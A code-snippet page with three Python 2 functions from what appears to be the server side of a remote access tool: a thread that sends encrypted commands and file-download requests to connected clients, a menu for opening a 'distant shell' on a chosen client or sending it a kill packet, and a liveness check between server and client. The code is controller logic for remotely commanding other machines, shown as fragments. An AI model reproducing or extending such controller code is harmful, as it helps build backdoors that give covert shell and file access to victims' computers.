Ejemplo n.º 1
0
    def run(self):
        while True:
            if self.parent.command == "closeWindow":            # Receive the information to break the loop and to close the thread.
                self.parent.writestate = False                  # Indicate to the ClientThread that the loop in the writeThread is ended.
                break
            elif self.parent.command and not self.parent.wait:  # Check if command is not empty and if wait is equal to false.
                if self.parent.command.split(' ')[0] == "Download-File" and len(self.parent.command.split(' ', 1)) == 2:
                    try:
                        lenght_splited = len(self.parent.command.split(' ', 1)[1].replace('\\', '/').replace(' ', '_').split("/"))
                        self.parent.filenamew = self.parent.command.split(' ', 1)[1].replace('\\', '/').replace(' ', '_').split("/")[lenght_splited - 1]
                    except:
                        pass


                try:
                    self.sockett.send(de_crypt.encrypt_packet(self.parent.command))  # Send the message to the client.
                except:
                    self.parent.readthread.res = "[*] - The client is offline. Try again later !"   # If the socket isn't bind.

                    if self.parent.client.status != "OFFLINE":
                        self.parent.client.status = "OFFLINE"

                    pass

                self.parent.wait = True                         # Restrict the user to only one command at the same time.
                self.parent.command = ""                        # Reset "command".

            time.sleep(1)
Ejemplo n.º 2
0
def clientspec(client):
    global action

    clientid = int(client) - 1

    info_to_print = "IP : " + str(clientlist[clientid].ip) + \
                    " | PORT: " + str(clientlist[clientid].port) + \
                    " | OS: " + str(clientlist[clientid].clientsystem)

    if clientlist[clientid].status == "ONLINE":
        info_to_print += " | STATUS: " + '\033[32m' + str(clientlist[clientid].status) + '\033[0m'
    else:
        info_to_print += " | STATUS: " + '\033[31m' + str(clientlist[clientid].status) + '\033[0m'

    save_string = ""

    # Print top plain bar
    for i in range(0, len(info_to_print) - 9):  # -9 due to ANSI sequence color upper
        save_string += "─"
    print save_string

    print info_to_print

    # Print top-bottom dot bar
    save_string = ""
    for i in range(0, len(info_to_print) - 9):  # -9 due to ANSI sequence color upper
        save_string += "-"
    print save_string + "\n"

    print "[1] - Open a distant shell\n" \
          "[2] - Delete client  ([*] THE DISTANT SHELL MUST BE CLOSED BEFORE)\n" \
          "[3] - Verify connection state\n" \
          "[0] - Back\n"

    while not valid:
        action = raw_input("Enter your choice : ")
        controllchoice(0, 3)

    if action == "0":
        openmenu("back", 0)
    elif action == "1":
        clientlist[clientid].isshellactive = True
        openshell(clientid)
    elif action == "2" and not clientlist[clientid].isshellactive:
        tools.verify_connec(clientlist[clientid])

        # Send a crypted packet to the client to close the program
        if clientlist[clientid].status == "ONLINE":
            clientlist[clientid].sockett.send(de_crypt.encrypt_packet("/---/1451ea1f4eaf1e56da1f84/---/"))

        clientlist.remove(clientlist[clientid])
        openmenu("back", 0)
    elif action == "2" and clientlist[clientid].isshellactive:
        openmenu("clientspec", 0)
    elif action == "3":
        tools.verify_connec(clientlist[clientid])
        openmenu("clientspec", 0)
Ejemplo n.º 3
0
def verify_connec(client):
    # Verify the status before sending the delete message to prevent from errors.
    try:
        client.sockett.send(de_crypt.encrypt_packet("/---/Alive ?/---/"))   # Verify the client socket state.
        rep = de_crypt.decrypt_packet(recv_timeout(client.sockett, 1))      # Get the answer (or not).

        if rep == "/---/Yes sir/---/" and client.status != "ONLINE":
            client.status = "ONLINE"
        elif not rep and client.status != "OFFLINE":                        # IF no answer then "OFFLINE".
            client.status = "OFFLINE"

    except:
        if client.status != "OFFLINE":
            client.status = "OFFLINE"

        pass